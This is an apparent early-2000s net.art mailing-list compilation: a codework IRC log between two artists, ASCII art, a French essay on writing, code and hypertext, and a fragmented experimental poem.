obsession.\n<silocyben> but.. /msg X.\n<silocyben> /msg former.  /notify aint work.\n<silocyben> /away latter.\n<silocyben> /away waste.\n<silocyben> .fuck.\n<][mez][> hmm\n<][mez][> /talk POV\n<][mez][> ...../away money\n<silocyben> mmm?\n<][mez][> ...../talk nor...\n<silocyben> /away u.  needed it.\n<silocyben> grow][th][ ur own?\n<][mez][> ][pa][/nick ed because. /msg dislocation lies. /msg tied up with $$.\n<][mez][> i used 2\n<silocyben> ic.\n<][mez][> *much* + mulching...\n<silocyben> /sniff basic + portioned\n<silocyben> /scratch like a 10th.\n<][mez][> ...../left wi[ng]th\n<][mez][> es\n<][mez][> +y[es]\n<][mez][> /trauma she.is.all.i.have /msg in.terms.of.active.affectivity\n<silocyben> yes.  i unda.stood.\n<silocyben> and unda.stand.\n<][mez][> .\n<][mez][> /lvl sameness\n<silocyben> *shrug*.\n<][mez][> /accountability\n<][mez][> /gagging 2 pay [/job]\n<][mez][> BUT\n<silocyben> y?\n<][mez][> /stress basalt in all corporate/capitalist N-de[a]vours\n<][mez][> i HAVE\n<][mez][> didn't he tell u?\n<][mez][> //sent\n<silocyben> oh.\n<silocyben> cool.\n<silocyben> /none week.\n<][mez][> ahh\n<][mez][> k, np\n<][mez][> /de[s]cent.in.2.nether.hell.\n<][mez][> well\n<][mez][> .\n<silocyben> actually.  /crazy,  /problems,  /heart.\n<][mez][> [fi]gor[e]y, that\n<][mez][> /then?\n<][mez][> in rl?\n<silocyben> .\n<][mez][> wow\n<][mez][> story?\n<silocyben> /jesus story [wot.do.u.want?]  we played /quake 2gether.\n<silocyben> ;)\n<][mez][> that will do\n<][mez][> /story /teller/invoker\n<][mez][> :)\n<silocyben> *laugh* /and there r p.lent./y of tell.\n<][mez][> anyway\n<][mez][> i'm sure\n<silocyben> /snip tell stories.\n<silocyben> the lose + driven slough.\n<][mez][> no[N]ticed\n<][mez][> /dilemma\n<silocyben> oh.  yes yes.\n<silocyben> & [h]o.ur.\n<][mez][> yes, indeed\n<silocyben> -s.\n<][mez][> /msg positioning. /u.r.in.the.making\n<][mez][> ..in.finite cap[acity]s + goal-relational|belief \nstructure|might[y] up|hold.\n<][mez][> tem.p[or[tation is far\n<][mez][> ...../2 wallow in consumerist.muck\n<][mez][> ..../type 2.  /align get-gos + social-b.lather\n<][mez][> .\n<][mez][> /sense?\n<][mez][> /;0)\n<silocyben> right.\n<silocyben> /u're.\n<][mez][> i'm sure i am.\n<][mez][> /slash simplistic.\n<][mez][>.\n<silocyben> *grin*\n<silocyben> i don't.\n<][mez][> no, u don't\n<][mez][> nor\n<silocyben> i already.\n<][mez][> ok\n<][mez][> well\n<silocyben> y make.\n<][mez][> ..../says much\n<][mez][> anyway\n<][mez][> i'm tired\n<][mez][> /bite-sized 2day bIT:)\n<silocyben> i have.\n<][mez][> yes, u do.\n<][mez][> /off.\n*** Added <off> to notify list\n<silocyben> no apaty and awareness.\n<silocyben> +h.\n<silocyben> k.\n<][mez][> if u say so.\n<][mez][> *sigh*\nSession Close: Thu Feb 20 11:49:45 2003\n\n\nLession Start: Thu Feb 20 11:49:58 2003\nSession IDent: silocyben\n<silocyben> /think nature?\n<silocyben> /comple[ting]x + N-tree.cate/simp[ering]listic.\n<][mez][> nature as. system of. ecological function. bal[l N bat]ance thru.\n<silocyben> i am.\n<][mez][> nature d-fined by[e] romance. /ideal of butterflies & victims? \nprey and bloodlust?\n<][mez][> ahh\n<][mez][> /naturefact\n<][mez][> .\n<][mez][> +s.\n<][mez][> *u*\n<silocyben> *chuckle*\n<][mez][> /centric\n<][mez][> anyway\n<silocyben> but what r?\n<silocyben> /goals far[goish].\n<][mez][> /i am.a.silly.undefined.soul [in a c of] centuries\n<silocyben> /wish disappointed.\n<silocyben> so.\n<][mez][> ahh no\n<][mez][> come [inside] with rt\n<][mez][> with bod.EE\n<silocyben> *laugh*\n<][mez][> ..../eyes\n<][mez][>.\n<silocyben> he.\n<][mez][> /words cauterize\n<][mez][> cause, even\n<silocyben> cya.\n<][mez][> /s.lump?\n<][mez][> heh\n<silocyben>.\n<][mez][> bye\n<][mez][> hmm\n<silocyben> /d.[ee].p.ends.  /stretch props  + blood flow.\n<][mez][> hmm\n<][mez][> /hands?\n<silocyben> /neglect.\n<][mez][> [speak softly]\n<silocyben> [thru the size of my large hands]\n<silocyben> large joints.\n<][mez][> hmm\n<][mez][> /voice?\n<][mez][> yes\n<][mez][> i thought so.\n\n\n\n\n\n\n\n\n<][mez][> or\n<][mez][> simplicity is boiled from the need to x.tract and d.limit complexity\n<silocyben> sometimes,  the problem becomes the complexity to survive the \nsimplicity of others.\n<][mez][> c a t c h - 22\n<][mez][> or, the problem hides i the folds of simplicity N order 2 deny \ncomplexity\n<][mez][> +n\n\n\n\n\n\n\n\n\n<silocyben> mmm.\n<silocyben> we are walking on different foundations.\n\n\n\n\n\n\n\n\n<][mez][> we r\n<][mez][> creeping thru semantic jungles\n<][mez][> :)\n<silocyben> :)\n\n\n\n\n\n\n\n\n\n\n<][mez][> [tactility above all else?]\n\n\n\n\n\n\n<][mez][> no causality in solid shapes\n\n\n\n\n\n\n\n\n<][mez][> logic definer\n\n\n\n\n\n\n\n\n<][mez][> momentary pleasures + theorizing via strands of cartesian dynamics\n\n\n\n\n\n\n\n\n\n*** Added silocyben to notify list\nSession Close: Thu Feb 20 12:23:04 2003\n\n\n\n\n\n- pro][tein][.logging.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker/\n_\n_sparks of lost hu][bris][man $cent][+re.sieved][_\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nFrom: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\nTo: nettime-fr {AT} samizdat.net, 7-11 {AT} mail.ljudmila.org\nSubject: LE TEXTE ET LA MACHINE.\nDate: Mon, 20 Jan 2003 13:43:04 +0100\n\nLE TEXTE ET LA MACHINE.\n\nDecembre 2002\n\nPascale Gustin\n\nLicence : GNU General Public License\n\n\nJe crois que l'ordinateur et de mani\u010dre plus g\u00e9n\u00e9rale les technologies\nde l'information, transforment de fa\u00e7on radicale notre rapport au monde\net \u0155 nous m\u0119me. C'est m\u0119me devenu un lieu commun de dire cela\naujourd'hui, c'est devenu un truisme. Paradoxalement, mesurer\nl'importance et les cons\u00e9quences de ces changements est loin d'\u0119tre\nsimple, cela ouvre m\u0119me de nombreux champs d'investigations et de\nr\u00e9flexions qui depuis environ 60 ans font l'objet de recherches de\nplus en plus diversifi\u00e9es dans des domaines toujours plus \u00e9tendus. Je\npense, \u0155 l'instar de Pierre Levy que l'outil informatique est une\nd\u00e9couverte au moins aussi importante dans l'histoire de l'humanit\u00e9 que\ncelle de l'\u00e9criture ; elle en est probablement m\u0119me la continuit\u00e9, en\npoursuivant le processus d'hominisation de l'homme [1][2].\n\n\nJ'aimerais par ce texte explorer de mani\u010dre tout \u0155 fait personnelle la\nnaissance de l'outil informatique du point de vue du texte et de\nl'\u00e9criture. Je ne pr\u00e9tends pas ici \u0155 un essai exhaustif sur le sujet\nmais seulement \u0155 rassembler quelques r\u00e9flexions et notes de lectures\nqui m'apparaissent pertinentes. Selon le proc\u00e9d\u00e9 d'une pens\u00e9e\nanalogique, je souhaiterais former un ensemble coh\u00e9rent de r\u00e9flexions et\nd'id\u00e9es dans la continuit\u00e9 de ce qui \u0155 mon sens me parait trop peu\nquestionn\u00e9 actuellement mais non pas moins important, c'est \u0155 dire le\nprobl\u010dme de l'\u00e9criture en regard de l'outil informatique et la fa\u00e7on\ndont \u0155 mon avis celui-ci transforme et remet en question de multiples\nmani\u010dres la notion m\u0119me de texte.\n\n\n- L'\u00e9criture, le code, le texte.\n\n\nL'\u00e9criture est la premi\u010dre technologie d'enregistrement de la parole;\nconstitu\u00e9e de symboles, d'images ou de signes, elle est un syst\u010dme, un\ncode mis en place afin de pouvoir garder trace du langage parl\u00e9. De ce\npoint de vue, l'\u00e9criture est un code, certes relativement souple, qui\n\"encode\" la r\u00e9alit\u00e9 et tout \u0155 la fois en transforme et en remod\u010dle la\nperception. Un des tous premiers syst\u010dmes d'\u00e9criture que l'on ai\nretrouv\u00e9 est l'\u00e9criture \u0155 noeuds, syst\u010dme \"d'inscription\"\nmn\u00e9motechnique et synth\u00e9tique. On en a d\u00e9couvert des traces au P\u00e9rou\ndans les tombeaux Incas, par exemple. Ce sont des paquets de noeuds et\nde fils attach\u00e9s de couleurs diff\u00e9rentes ou semblables, plac\u00e9s de\nmani\u010dre \u0155 obtenir un grand nombre de significations. Ces\n\"quippus\" servaient \u0155 enregistrer les comptes, la chronologie; il\n\u00e9tait possible \u00e9galement de s'en servir comme d'un moyen de calcul. On\nretrouve cette forme ancestrale d'\u00e9criture partout dans le monde et\njusqu'au milieu du vingti\u010dme si\u010dcle, dans certaines r\u00e9gions elle \u00e9tait\nencore utilis\u00e9e par les ouvriers afin de comptabiliser leurs journ\u00e9es\nde travail [3].\n\n\nL'\u00e9criture dans son essence appara\u00eet alors comme un syst\u010dme de\ndiff\u00e9rences. (J. Derrida et Saussure) [4]\n\n\n\nLe codage binaire a \u00e9t\u00e9 utilis\u00e9 sous une forme symbolique tr\u010ds t\u00f4t,\nen chine, avec le syst\u010dme divinatoire du Yi-King. Le Yi-King est un\nensemble de 64 hexagrammes constitu\u00e9s d'une collection d'images\nsymboliques repr\u00e9sentatives d'un certain ordre de l'univers et \u00e9tait\nutilis\u00e9 pour proc\u00e9der \u0155 diverses interpr\u00e9tations divinatoires. Ces\nimages symboliques r\u00e9sultent de l'assemblage et de la combinatoire de\ntraits pleins et de traits bris\u00e9s repr\u00e9sentant les deux \u00e9tats\nessentiels par lesquels chaque \u0119tre et chaque chose sont appel\u00e9s \u0155 se\nmouvoir et \u0155 se transformer. Mais c'est le philosophe anglais Francis\nBacon (1561-1626) qui fait de ce principe binaire un syst\u010dme \u0155 part\nenti\u010dre afin de pouvoir transmettre des messages de mani\u010dre rapide et\ns\u0171re [5].\nDans ce sens le \"code\", l'acte de coder un message serait en somme la\ntranscription de celui-ci dans une langue \"non-naturelle\".\n\n\nMais le mot de code se d\u00e9robe \u0155 mesure qu'on souhaite en saisir le sens.\nA l'origine du mot, nous trouvons le codex, c'est \u0155 dire la\nplanchette, le recueil; nous avons \u00e9galement le code juridique qui est\nl'ensemble des lois qui r\u00e9gissent une soci\u00e9t\u00e9, signification qui n'est\npas sans rappeler la programmation puisqu'elle-m\u0119me est r\u00e9gie\npar une syntaxe, un ensemble de r\u010dgles auxquelles on ne peut d\u00e9roger\nd'aucune mani\u010dre sous peine de \"planter\" le programme. Nous avons\n\u00e9galement le code vestimentaire ou le code g\u00e9n\u00e9tique. Le code serait\nen quelque sorte un moyen de conservation et de transmission\nd'informations, un support de significations non sp\u00e9cifiquement humain.\n\n\nL'\u00e9criture pourrait \u0119tre une sorte de code plus souple o\u016f le\nsens est tiss\u00e9 de diff\u00e9rentes mani\u010dres : les lettres avec les\nlettres une \u0155 une ou par grappes, les mots ensembles pour former des\nphrases et les phrases tiss\u00e9es les unes aux autres, interagissant les\nunes avec les autres au cours de la lecture, nouant liens de sens et\nde significations afin de former le texte. On utilise l'expression \"le\nfil de la lecture\" ou \"au fil du texte\" pour parler de cet \u00e9cheveau du\nsens qui prend forme au moment du \"d\u00e9chiffrement\". Le texte est une\ntrame de significations, dont les fils se croisent et s'entrecroisent\nentre les lettres elles-m\u0119mes, les mots, les sons, dans le texte et\nentre le texte et le lecteur.\n\nLe mot texte vient du terme latin \"texere\" qui signifie tisser.\n\n\nUne autre d\u00e9finition du mot peut \u0119tre :\nun nombre fini de signes discrets choisis dans un ensemble fini\nde signes (Florian Cramer).\n\n\n\n- Les machines.\n\nUne des toutes premi\u010dres utilisations technologiques du langage binaire\na \u00e9t\u00e9 d\u00e9velopp\u00e9e par Jacquard (1752-1834) afin d'am\u00e9liorer la technique\ndu tissage.\nIl s'agissait de cartes perfor\u00e9es de trous, c'est \u0155 dire de\nl'utilisation des pleins et des vides des cartes pour \"coder\" le passage\ndes fils de couleurs diff\u00e9rentes dans les fils de cha\u00eenes. La\ntechnologie du tissage a toujours \u00e9t\u00e9 \u0155 l'avant-garde des techniques de\nson temps, m\u0119me aux \u00e9poques les plus recul\u00e9es; au moyen-age, on\nutilisait d\u00e9j\u0155 des cartes r\u00e9alis\u00e9es sur du papier divis\u00e9 en damier pour\nla reproduction des dessins.\nCharles Babbage (1792-1871), initiateur de la machine diff\u00e9rentielle\net plus tard de la machine analytique connaissait les travaux de\nJacquard dans le domaine du tissage et eu cette intuition fondamentale\nd'appliquer ce principe --en quelque sorte combinatoire des diff\u00e9rents\nfils entre eux-- au calcul selon une m\u00e9thode semblable. Ada Lovelace\n(1815-1852) collaboratrice de Charles Babbage f\u0171t charg\u00e9e de la partie\nlogicielle de la machine, c'est \u0155 dire du \"texte\" (au sens large du\nterme) qui devait permettre \u0155 la machine analytique de fonctionner. Mais\nle projet n'aboutit pas, faute de moyens et probablement aussi\nd'organisation [6].\n\n\nLes machines telles que les ordinateurs actuels ne peuvent\nfonctionner, ne peuvent \"comprendre\" une serie d'instructions que si\ncelles-ci se trouvent \u00e9crites sous la forme de suites de 0 et de 1 ou\nplus exactement sous forme de s\u00e9quences tr\u00e9s rapides d'impulsions\n\u00e9lectriques; une impulsion repr\u00e9sente une connection c'est \u0155 dire le\n1, l'absence d'impulsion le 0. Un ensemble organis\u00e9 de 0 et 1 a donc\nun sens pour la machine, c'est \u0155 dire un \"sens \u00e9lectrique\". Le terme\nde sens n'est peut-\u0119tre pas tout \u0155 fait appropri\u00e9 pour parler\nd'instructions que la machine, programm\u00e9e dans ce but, effectura : la\nmachine n'interpr\u010dte pas le programme ou les instructions entr\u00e9es dans\nle processeur, elle ne fait que les ex\u00e9cuter.\nLa rapidit\u00e9 avec laquelle le courant circule entre les diff\u00e9rents\n\u00e9l\u00e9ments de l'appareil informatique (li\u00e9e \u0155 la vitesse d'horloge du\nprocesseur), offre des possibilit\u00e9s quasi illimit\u00e9es de calcul\n(quantit\u00e9s de connexions et d'absences de connexions, de 0 et de 1 de\nplus en plus importantes dans des laps de temps tr\u010ds courts). Ainsi,\nnous pouvons, en tant qu'utilisateur de machines et de programmes,\ncharger des images \u0155 l'\u00e9cran, les dupliquer ou les transformer, faire\njouer des sons, ou bien \u00e9crire des textes que nous rentrons dans la\nm\u00e9moire vive de l'ordinateur. En quelque sorte ces suites de 0 et de 1\nsont le seul code ou alphabet avec lequel nous pouvons utiliser l'outil\ninformatique.\n\n\n\nLes premiers ordinateurs \u00e9taient en quelque sorte programm\u00e9s \"en\ndirect\" \u0155 l'aide de fiches et de fils reli\u00e9s ensembles.\nSi la fiche est connect\u00e9e, le courant passe, la valeur est donc 1, \u0155\nl'inverse, l'absence de connection prend la valeur 0. Pour faire\nfonctionner un programme, il fallait donc connecter une \u0155 une des\ncentaines de fiches et de fils entre eux. Le temps de mise en route\nd'un programme \u00e9tait tr\u00e9s important; les erreurs fr\u00e9quentes et\np\u00e9nibles \u0155 retrouver. On devait suivre chaque fils pour\nvoir o\u016f il \u00e9tait reli\u00e9 au milieu de paquets de fils entrelass\u00e9s les uns\ndans les autres.\nPlus tard, dans les ann\u00e9es 50 et 60 les fils \u00e9lectriques seront\nremplac\u00e9s par des valeurs situ\u00e9es en m\u00e9moire [7][8][9].\n\n\nLes ing\u00e9nieurs imagin\u010drent ensuite un moyen de simplifier les op\u00e9rations\nde programmation. On substitua \u0155 un ensemble d'instructions, un code\ndit mn\u00e9motechnique, plus facile \u0155 retenir. Ces premiers langages\npermettaient d'effectuer rapidement des taches complexes sur\nles machines, mais restaient encore malais\u00e9s d'utilisation car tr\u00e9s\nproche du code de la machine (exemple : le langage assembleur).\nPeu \u0155 peu, les langages devinrent plus performants. L'utilisation des\npremiers compilateurs firent des machines, des outils plus souples et\nfaciles \u0155 utiliser (avec le fortran). De v\u00e9ritables mots furent\nemploy\u00e9s et les instructions au fur et \u0155 mesure de l'\u00e9volution des\nlangages devinrent plus compr\u00e9hensibles pour l'homme, encod\u010drent des\nalgorithmes entiers et rendirent ainsi la conception\ndes programmes rapide et efficace.\n\nL'arriv\u00e9e des interfaces graphiques donnera par la suite les moyens \u0155\ntout utilisateur non-informaticien, d'effectuer facilement, rapidement,\npar l'interm\u00e9diaire de l'\u00e9cran graphique des taches compliqu\u00e9es\npr\u00e9-programm\u00e9es.\n\n\nLe code de la machine, le texte en quelque sorte se trouve alors\ndissimul\u00e9 sous des couches logicielles mais c'est toujours un code, une\n\"texture\" de calcul, de 0 et de 1 qui, dans les \"profondeurs\" de\nl'ordinateur, officie afin que les programmes puissent avoir lieu en\n\"surface\" [10][11].\n\nLes langages de programmation (je pense par exemple aux langages de\nprogrammation orient\u00e9s objet comme java ou python) les plus r\u00e9cents bien\nque plus proches d'une part du langage humain et peut-\u0119tre \u00e9galement de\nla pens\u00e9e humaine (du moins d'une petite part caract\u00e9ristique de\ncelle-ci : la cat\u00e9gorisation; mais je doute que cette forme de la pens\u00e9e\nhumaine soit la plus \"naturelle\" \u0155 l'humain mais peut-\u0119tre bien plut\u00f4t\nsa part la plus sociale ou socialis\u00e9e) restent toujours\nmalgr\u00e9 tout soumis aux n\u00e9cessit\u00e9s internes des machines.\n\nLe langage humain, tel que nous le parlons, l'\u00e9crivons met en place un\nmonde de significations. Le discours oral est contextualis\u00e9. Il en est\nde m\u0119me pour le texte \u00e9crit. Une marge d'ambiguit\u00e9 est toujours tol\u00e9r\u00e9e\net m\u0119me presque souhaitable car c'est pratiquement dans cette marge\nqu'a lieu l'expression de l'individu qui parle ou \u00e9crit. La dimension\nculturelle ainsi qu'une prise de conscience de tous les discours qui ont\npr\u00e9c\u00e9demment eu lieu, interviennent \u00e9galement de mani\u010dre plus ou moins\npr\u00e9gnante pour celui qui \u00e9coute ou lit selon la culture qu'il a du sujet\n\u00e9nonc\u00e9. Ainsi le sens du texte oral ou \u00e9crit est un ensemble de liens\nqui se tissent de toute part entre les interlocuteurs ou entre le\nlecteur et le texte, la soci\u00e9t\u00e9, la culture, les lois etc. Souvent, la\ncompr\u00e9hension du sens d\u00e9passe largement la structure de base du langage\n--lin\u00e9aire et s\u00e9quentielle, celle du discours oral ou du texte.\n\nIl en va ainsi de la pens\u00e9e humaine car c'est \u0155 partir d'elle, \u0155 partir\nde cette matrice que cette texture de liens peut avoir lieu.\n\n\n\nC'est en poursuivant un tel raisonnement que Ted Nelson \u00e9labora ses\nrecherches sur l'hypertextualit\u00e9 d\u00e9s le milieu des ann\u00e9es 60 avec son\nprojet \"Xanadu\" (nomm\u00e9 ainsi en r\u00e9f\u00e9rence \u0155 un po\u010dme de Coleridge).\n\nSon pr\u00e9d\u00e9c\u00e9sseur Vannemar Buch eu une intuition semblable lorsqu'il\nimagina vingt ans plus t\u00f4t \"le Memex\" --MEMory EXtander--, une\nbiblioth\u010dque de documents reli\u00e9s les uns aux autres en fonction du\nsens que pouvait prendre chaque paragraphe, phrase ou mot de tel ou\ntel texte m\u00e9moris\u00e9 en regard de tel ou tel autre paragraphe, phrase ou\nmot issus d'un autre texte ou d'une autre partie de ce m\u0119me texte.\nConserv\u00e9s sur microfilms sp\u00e9ciaux, ces textes, photographies ou tout\nautre document auraient \u00e9t\u00e9 accessibles grace \u0155 plusieurs \u00e9crans,\nclaviers et manettes. Une membrane sensible aurait pu permettre de\nphotographier et d'enregistrer de nouveaux documents. L'utilisation d'un\ntel appareil aurait permis au chercheur ou \u0155 l'\" homme moderne \" de\nfaire face \u0155 la prolif\u00e9ration d'informations pr\u00e9visibles en raison du\nd\u00e9veloppement des instruments de m\u00e9diatisation de l'information [12].\n\n\nPour Ted Nelson, la pens\u00e9e humaine est hypertextuelle par essence\nalors que le langage humain, la parole ou l'\u00e9crit, ne sont que\ns\u00e9quentiels. Ainsi, le langage humain apparait comme incapable de\nreproduire v\u00e9ritablement la pens\u00e9e dans toute sa richesse, sa\ndiversit\u00e9 et son foisonnement [13].\n\n\nC'est sur ce travail, cette nouvelle mani\u010dre d'appr\u00e9hender le texte\nque je terminerai cette suite de notes et de reflexions car \u0155 partir\nde cette notion d'hypertexte et d'hypertextualit\u00e9 de nombreuses\npossibilit\u00e9s de tissage de sens et de textes sont mises \u0155 jour et en\nexplorer les dimensions et les possibilit\u00e9s serait l'objet d'une\nrecherche \u0155 part enti\u010dre. J'aimerais seulement pour conclure, amener \u0155\nl'attention du lecteur que le texte appara\u00eet d\u00e9sormais non plus comme\nquelque chose d'abstrait et d'homog\u010dne qui permet \u0155 l'information\nd'\u0119tre diffus\u00e9e mais comme un corps \u0155 part enti\u010dre, concret qui peut\nprendre de multiples formes; ainsi \u0119tre utilis\u00e9 aussi bien pour\nprogrammer les outils de l'informaticien, ou du simple usager de\nl'informatique, pour concevoir des programmes que pour les\nappliquer. Je crois que le travail du po\u010dte ou de l'\u00e9crivain s'en\ntrouve profond\u00e9ment boulevers\u00e9. Ecrire ce n'est pas seulement faire un\ntexte mais aussi ce peut \u0119tre mettre en route un instrument, l'outil\ninformatique, se servir d'un programme (un logiciel de traitement de\ntexte par exemple) ou d'un langage de programmation ; c'est couper,\ncoller, assembler telle portion de texte avec tel autre (un morceau de\nprogramme, un lien qui menera \u0155 une image ou \u0155 un son). C'est jouer\n\u00e9galement avec diff\u00e9rentes formes de langages car tout ceci \u0155 mon sens\nconstitue encore du texte; c'est mettre l'\u00e9criture, le langage\n--quelque soit l'origine de ce langage-- en contact avec d'autres\nbranches de la communication.\n\n\nref\u00e9rences :\n\n[1] Levy Pierre\nLa machine univers\nEditions La D\u00e9couverte 1987\n\n\n[2] Levy Pierre\nL'intelligence collective\nEditions La D\u00e9couverte 1997\n\n\n[3] Fevrier James\nL'histoire de l'\u00e9criture\nEditions Payot et Rivages 1948\n\n\n[4] Kristeva Julia\nLe langage, cet inconnu\nEditions du seuil 1981\n\n\n[5] Breton Philippe\nUne Histoire de l'informatique\nEditions du seuil 1990\n\n\n[6] Plant Sadie\n\"Tissages du futur: tramer ensemble femmes et cybern\u00e9tique\"\nConnexions : art r\u00e9seaux m\u00e9dia\nEcole Nationale Sup\u00e9rieure des Beaux-Arts, Paris 2002\n\n\n[7] Rossi Serge\nhttp://histoire.info.online.fr/\n\n\n[8] Guillier Fran\u00e7ois\nhttp://www.histoire-informatique.org/\n\n\n[9] Bordeleau Pierre\nhttp://www.scedu.umontreal.ca/sites/histoiredestec/\n\n\n[10] Every David K.\nhttp://membres.lycos.fr/cgiguere/vdn/vdn24.htm\ntraduit de l'anglais par Charles Gigu\u010dre\n\n\n[11] Sureau D. G.\nhttp://www.scriptol.org/histlang.html\n\n\n[12] Bush Vannemar\n\"Comme nous pourrions le penser\"\nConnexions : art r\u00e9seaux m\u00e9dia\nEcole Nationale Sup\u00e9rieure des Beaux-Arts, Paris 2002\n\n\n[13] Nelson Ted\nhttp://ted.hyperland.com/\n\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n        {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \nprojet/cuneifoRM :\nhttp://gustin.pascale.free.fr\n             o---------------o\nhttp://www.atelierblanc.net/p-gustin/02atelier/cadre1.htm\nhttp://www.atelierblanc.net/p-gustin/02atelier/lesmachines.html\n\n\n\n\n\n\nDate: Thu, 20 Feb 2003 11:44:15 -0800\nFrom: MWP <mpalmer {AT} JPS.NET>\nTo: POETICS {AT} LISTSERV.BUFFALO.EDU\nSubject: It all begins. . . [vers 2]\n\n TH E-S -BE BEG EGI GIN N-T -TO TO- -TH THI HIN ING S-W -WI WIT\n\nITH TH- -TH THE HE- -IS IS- S-C ING NG- -TH OUG UGH OME S-O -OF\n\n-TH THE HE- E-M -ME MES ESS SSA SAG AGE GE- E-S -SE -TO TO- E-O\n\n-ON LY- Y-A -A- -PA PAR ART -UN ING NG- -ME MET ETH -OF OF- ON-\n\n-IS IS- GRA RAD ALL LY- -SE SEE ING NG- G-I TO- -TH THE HE- E-T\n\n-EX EXT ING NG- T-A -AN REA ING NG- G-T -TH THE EM- PAR ART IS-\n\n-SE SEE EEM -TO TO- -BE -HA ING NG- G-M -AN AND ND- -MO MOR ORE\n\nE/- /-A -AS AS- S-T -TH THE HE- E-T -TE TEX EXT -BE COM OME MES\n\nES- S-I -IN CRE REA EAS ING LY- -FR -AN AND ND- -IS IS- S-T ED-\n\nD-I -IN INT NTO TO- -SE GME MEN ENT TS- S-T -TH THA HAT AT- T-A\n\nRE- ESS SS- -AN AND ND- -LE LES ESS SS- S-C -CO COM ENS LE- T-A\n\n-AL O-S TRA LY- -LO AL- -IN IN- -SO SOM OME ME- E-I -IN NDE BLE\n\nLE- E-W .-T -TH HE- E-P CES ESS SS- S-S -SE SEE EEM EMS MS- S-T\n\n-TO TO- O-H -HA HAV AVE VE- E-A -A- HIS IST Y-A -AN AND ND- D-A\n\n-AN AN- TIO ION RY- -GR /-E -EV N-I -IT TS- S-O N-S -SO -OF OF-\n\nE/- HAP OU- -RE REA D-O -ON ON- -AN AND ND- D-O -ON ON- N-U -UN\n\nUNT NTI TIL IL- L-Y -YO YOU OU- AN- -RE REA EAD AD- O-M -MO MOR\n\nORE RE/ E/- /-A -AN AND ND- -ST TIL LL- L-Y -YO YOU OU- U-R -RE\n\nREA EAD -IN IN- N-S -SE -OF OF- -SO SOM OME ME- KIN IND ND- D-O\n\n-OF OF- F-L -LI T-A AT- T-T -TH THE HE- -EN ND- D-O -OF OF- F-T\n\n-TH THE HE- E-T -TU UT- -NO NO- -LI LIG IGH GHT HT- -IS IS- S-F\n\nORT COM OMI MIN ING /-A -AN AND ND- -TH THI HIN ING NGS GS- -NO\n\nOW- -ON ONL NLY LY- Y-S -SE SEE EEM EM- M-T -TO TO- O-B -BE BE-\n\nING NG- -FR FRO ROM OM- AD- D-T -TO TO- -WO WOR .-Y -YO YOU OU-\n\n-MA MAK AKE KE- E-O -ON E-L ST- ALI FOR ORT RT- T-A -AT AT- -UN\n\nUND NDE DER RST AND ING NG- HAT AT- T-I -IS IS- S-G -GO GOI OIN\n\nING NG- -ON /-A -AS AS- -YO YOU OU- -NO -WA ANT NT- T-T -TO TO-\n\nO-B -BE BE- E-A ED- D-O -OF OF- -BE ING NG- -A- -LA -RE REA EAD\n\nDER -WH -IS IS- S-W -WO LLY LY- -UN ILL ING NG- G-T -TO TO- VE-\n\nE-T -TH THE HE- E-M -MO DER N-T -TE TEX EXT XT- T-I -IT ITS TS-\n\nE.- .-B -BU BUT UT- T-F -FI FIN INA ALL LLY LY- -YO YOU OU- D-A\n\n-AN AND ND- D-T -TU TUR URN RN- N-A WAY Y-F -FR FRO ROM OM- M-T\n\n-TH THE HE- E-T -TE TEX EXT XT- T-I -IN IN- N-S -SE SEA EAR ARC\n\nRCH CH- H-O -OF OF- F-L -LE LES ESS SS- S-F -FR STR TRA ATI TIN\n\nING NG- G-M -ME MES ESS SSA SAG AGE ES- S-T -TO TO- GES T/- ING\n\nNG- -BA -ON ONL NLY LY- -NO NOW OW- -AN AND ND- D-A IN- N-T -TO\n\nTO- O-S -SE SEE E-I -IF IF- F-A -AN THI HIN ING NG- -HA AS- S-C\n\nANG NGE .-A ND- D-T -TH THE HEN N/- -TO TO- -YO YOU -AS AST STO\n\nMEN ENT T/- /-T -TH THI HIN ING NGS GS- S-D -DO DO- O-S -SE SEE\n\nEEM EM- M-T -TO TO- O-B -BE BE- -CH CHA HAN ANG GIN ING .-A -LI\n\nLIN NE- E-H -HA HAS AS- -BE EEN EN- SED D/- /-A -AN AND ND- -WH\n\nLE- -YO YOU OU- -AR ARE RE- -UN RE- E-A -AS AS- S-T -TO TO- O-W\n\n-WH ETH THE ER- -TH THI HIS IS- S-C -CH CHA HAN ANG NGE GE- E-I\n\n-IS IS- S-I -IN IN- -YO YOU OU- R-T -TH THE HE- E-M -ME MES ESS\n\nSSA SAG AGE E/- /-T -TH THI HIN ING NGS 